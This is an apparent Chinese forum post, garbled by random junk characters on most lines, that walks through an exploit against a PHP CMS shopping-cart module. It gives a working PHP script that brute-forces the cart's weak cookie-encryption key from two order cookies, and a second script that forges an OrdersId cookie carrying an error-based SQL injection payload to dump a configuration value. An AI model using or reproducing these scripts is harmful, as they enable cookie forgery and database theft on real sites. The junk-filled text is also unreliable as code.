www.xxx.com/plus/search.php?keyword=6 u! r2 m4 E8 B) K q" X& _
在 include/shopcar.class.php中# C. g! U! e7 n9 ]0 w6 p
先看一下这个shopcar类是如何生成cookie的 k) B W" t' s" {$ {9 X
239 function saveCookie($key,$value)
9 ~9 m+ W6 x, y1 y$ l6 k240 {: b `% |6 W1 G0 l
241 if(is_array($value))
+ R" S6 I4 l- ~242 {
8 u5 H) g0 H6 w! l+ D243 $value = $this->enCrypt($this->enCode($value));
+ v6 e. b) T+ b; U$ q244 }
# A, |; q4 C9 y245 else/ V( }7 M# g7 G6 ~
246 {
" {$ ^) ?5 b% w7 L& W& i247 $value = $this->enCrypt($value);4 s# ^& {( t- d: D: L* Y
248 }# c: o1 T# p) \7 \ `8 `, U! u6 f' _
249 setcookie($key,$value,time()+36000,’/');
% T, x9 {. z" F* M; j250 }
2 x6 W( B7 Y3 Q简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
" ?0 P2 @& f9 b" F$ p3 N3 ~186 function enCrypt($txt)
1 E( g e! }2 T6 }$ m/ U7 g187 {! T5 v: Z" S6 l# X: [ H
188 srand((double)microtime() * 1000000);
Q1 x3 D* M s9 p8 z3 i( n189 $encrypt_key = md5(rand(0, 32000));
# [# w0 T N0 f( T! t. E R( V0 J190 $ctr = 0;
& R' `: ?% x% Z, p7 E' D% d1 i191 $tmp = ”;" w" @0 Z; N% G5 Q, |0 {! Y
192 for($i = 0; $i < strlen($txt); $i++)
( E# m* o, G$ k* n: d4 _- R: U193 {2 _5 X4 a$ |; h0 e0 ?& a( }
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;: O# g" K }; P9 W7 b
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
O5 Y, V6 a, t$ v9 _196 }
( r; u, t; d7 y$ ^" G# g+ E197 return base64_encode($this->setKey($tmp));
0 \: X h/ C8 m" A' M: x198 }/ K. K! B1 W: ^4 \. q# N# j
213 function setKey($txt)
3 q1 g5 `! s4 h4 l5 Y# b! u4 X214 {% R' T+ u9 l/ R
215 global $cfg_cookie_encode;1 Q4 K; @' V" G" ]" I0 I
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));$ U2 J, `5 ]: B, [% D" _
217 $ctr = 0;
$ T" w" l. [; Q218 $tmp = ”; K) |! ^1 X4 X
219 for($i = 0; $i < strlen($txt); $i++)) b+ S- o D* d- X, P0 Y
220 {
. ?1 A& |$ x: e5 S221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;7 @9 z- b& @1 L7 D6 q
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];8 Z/ V, i5 P' _
223 }" X7 j- Y6 a; F9 b
224 return $tmp;
, A5 `5 v$ m7 `) `% K2 _0 L. B225 }( Q# Y0 I Y) m0 a! {; q
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
* O% A$ ]' c* i然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
5 }5 C2 @. E( e- b具体代码如下:
+ c$ ?6 d" b0 }5 {<?php
) R% X& X- o# e! R( e1 @2 X8 B; v$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
; U# E$ ?1 M; D# [: G' b" w6 d+ J$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
& ?( f7 u. T$ }# f' N, q$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
# \- N g7 c& X7 X% [function reStrCode($code,$string)
2 u4 P- I4 ~9 ?! c: Q" J! u3 Q{
3 Q1 u" A$ }$ E9 r( ?, J$code = base64_decode($code);5 h, J, @9 j M4 J
$key = “”;
6 U+ P, k/ `5 @8 l! q+ k0 Vfor($i=0 ; $i<32 ; $i++)
: E1 m A; ^& [$ l' R0 ]{' C0 [) \% @0 o1 S w& x; f
$key .= $string[$i] ^ $code[$i];, V3 V* V" V3 S T0 u3 e# x
}
% Y& m+ ~; K( areturn $key;, [/ r* _# U) C3 F$ r* Y. J
}
2 V" t" S* B: R+ O5 Yfunction getKeys($cookie,$plantxt), H+ T z" S+ Z
{) }5 V/ x0 P& k
$tmp = $cookie;" l c, d, Y' I7 M
$results = array();# R. Z) g8 }$ D& V- a. O/ J! @
for($j=0 ; $j < 32000; $j++)
$ q- J5 M3 G8 M{% ^4 j# C. ^* b# U
' f5 h& p( L# L2 d
$txt = $plantxt;
7 K" V( \: j9 f$ctr = 0;+ U8 n! o. ~1 e8 r( T
$tmp = ”;, s3 U* S# p; L) j6 `
$encrypt_key = md5($j);
8 N0 ?. Y/ v5 Jfor($i =0; $i < strlen($txt); $i ++)
' x' X) f! l$ r3 m0 ` r{' Y0 k0 _6 d0 z7 \7 {, P
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
" p0 |1 m1 q9 a$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
2 z( U' A( O" ^8 F7 y" W}) t( J4 X; O5 g. M F( V
$string = $tmp;6 V+ k4 K3 ^/ E5 T0 @
$code = $cookie;
2 J/ _% K, Y8 ]8 u$ a! M* [$result = reStrCode($code,$string);
9 h6 u4 Z& Q' P: M2 R7 f. ]if(eregi(‘^[a-z0-9]+$’,$result))
* F$ \! D7 J U: u: U{
* H" t {4 U) D Yecho $result.”\n”;/ }0 z3 Z' R% }0 x
$results[] = $result;, I; z" b; @$ J* `9 D+ K
}
9 P! y$ J5 J6 n% l' ~5 h}3 h# v* U j' B% m# D {
return $results;4 N0 j; o8 ]; w" z! ~- u4 u; w8 x
}
6 r9 K7 t. v# R: L$results1 = getKeys($cookie1,$plantxt);
$ k3 d6 f* s" b) `' c; Y5 @4 I( `$results2 = getKeys($cookie2,$plantxt);
O9 u6 u- Z7 g8 L. z8 Q. cprint “\n——————–real key————————–\n”;" {+ |! ^2 W* y8 K# I
foreach($results1 as $test1)( D7 [" c/ `$ ?7 v/ q! ~ B& S$ S
{& d; H! F* b" _) d: u
foreach($results2 as $test2)
1 {7 C; b5 e5 z* d; _{+ ^/ R, Y ?1 J- ^; x) b
if($test1 == $test2)$ \7 w' ^" ]. V4 k% L6 z
{
" x: t0 f0 ` M* i. `) Zecho $test1.”\n”;0 h0 {) t$ M( X& |" e
}# N7 ^2 G' y# X- k
}
1 \) `. I$ [9 u+ }2 W! I5 F) w9 f* [/ a}
; a1 {2 r+ s; y; `/ H4 D: o?>9 w3 ~5 g% ^4 d5 F p
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,5 b1 w) Q$ i: x% _7 I
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua11 w* G6 Y# R8 S3 L, }/ }) y5 N
然后推算出md5(strtolower($cfg_cookie_encode))
& ~" @: W6 t$ x, v% Z得到这个key之后,我们就可以构造任意购物车的cookie
; F3 O" V7 V. O/ v接着看
9 g n" {$ V1 Q+ I20 class MemberShops* K0 p0 k- t1 {. l
21 {( A+ o) A; O; h. {& t$ P
22 var $OrdersId;$ i4 u1 V; `& X( W6 R. Y0 ^" g+ B- a
23 var $productsId;
' j4 j; E6 s5 [" B' z* Q h0 t242 z" q* s6 f$ `" a. \ a
25 function __construct()* [& E/ k o+ h: q9 ?1 e9 _7 ^
26 {; w/ b6 j" x7 E N5 I, ~
27 $this->OrdersId = $this->getCookie(“OrdersId”);
3 c2 ?$ u o. x! {( P& a' c& |* F28 if(empty($this->OrdersId))- @& b& U5 k2 }! C
29 {2 N! L) F$ }$ |
30 $this->OrdersId = $this->MakeOrders();. ?+ @6 g# n8 p; ?
31 }, I4 z( g+ R4 d, V3 Q( z w
32 }
# Z' F% Y' N4 w; Y发现OrderId是从cookie里面获取的$ ?1 E2 w! @0 N8 w5 D V' [$ _
然后; k9 u8 I4 A/ X& M! E& Q _5 Q
/plus/carbuyaction.php中的
* T5 `# x, Q3 U29 $cart = new MemberShops();
& O7 T6 a8 F/ K39 $OrdersId = $cart->OrdersId; //本次记录的订单号
$ |4 ^+ S9 k0 O' [; ?2 s- p……
% C) Z; t6 ^& Q7 S* j173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
& a7 ?$ v* U5 G接着我们就可以注入了1 g$ T6 x5 j! ^9 ?! C' a* s1 h
通过利用下面代码生成cookie:
8 a; U/ j3 b9 h/ |3 Y2 r<?php
( _0 U0 c4 E5 W& a( A' \; w$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;4 ?4 Y3 @ ]! Q
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
; U8 {: x- C, Gfunction setKey($txt)
4 Y+ U6 T) \3 Z% k{- w7 n6 q( j4 e
global $encrypt_key;0 g) H% }! x4 ]% ? b# H
$ctr = 0;
/ @9 s- t* H* }4 H& x$ m$ ^$tmp = ”;
1 R% J: k* q& W6 Z5 ~& {for($i = 0; $i < strlen($txt); $i++). V" ?! a! D! X# M- k
{/ R3 Y, t, h' u9 d6 ?
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
0 ~- f# k% a, u9 l/ A" k$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
1 T9 ~4 o6 @% }* H1 p}
& |. K, [. s4 Z3 e9 mreturn $tmp;" a& n6 `6 _) D7 T7 t, r! k
}
Y5 ], |4 C4 ^( l0 E$ V7 Ifunction enCrypt($txt)
2 ?! J7 H ?; @# D' E# I; ^% n{
6 w& ~1 ]8 g( K' U0 ^: X1 r2 i1 wsrand((double)microtime() * 1000000);
. b9 q. m( z$ [4 D8 @$encrypt_key = md5(rand(0, 32000));
* ~9 U1 ?1 T* L; Z" ]4 ~$ctr = 0;5 B* @/ ~8 t3 ]' w; h" P" M
$tmp = ”;* N5 o7 `+ x4 |8 ]5 u5 k
for($i = 0; $i < strlen($txt); $i++)* N* j7 \. p& _( x
{
: v' X1 s& i) @$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;( `4 {0 z2 t) j4 u' ^* |; X
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);- |% e: N9 f4 E+ L
}
7 ?' ~$ C4 r4 S$ m& Z k4 Yreturn base64_encode(setKey($tmp));& c6 b6 j* Q! O3 h
}
0 l3 v- p: |! O9 |% wfor($dest =0;$dest = enCrypt($txt);)6 ~( d+ t, q1 X; }
{
" W; h1 s0 {3 f3 C" A' jif(!strpos($dest,’+')). q5 q' l5 v2 Z6 P0 A. {8 k6 h3 ~
{& Q( C, ]2 H! L! d
break;5 A6 [0 @. N) Y* A) ]
}+ `) p. {) @$ e5 }9 ~
}
4 U/ Q3 D6 {7 x( P \; G# wecho $dest.”\n”;& f, w' I. u; r, n
?> m) K% f* X* @1 Y0 v
, u/ n0 P& Q: f! i0 \$ K* C
|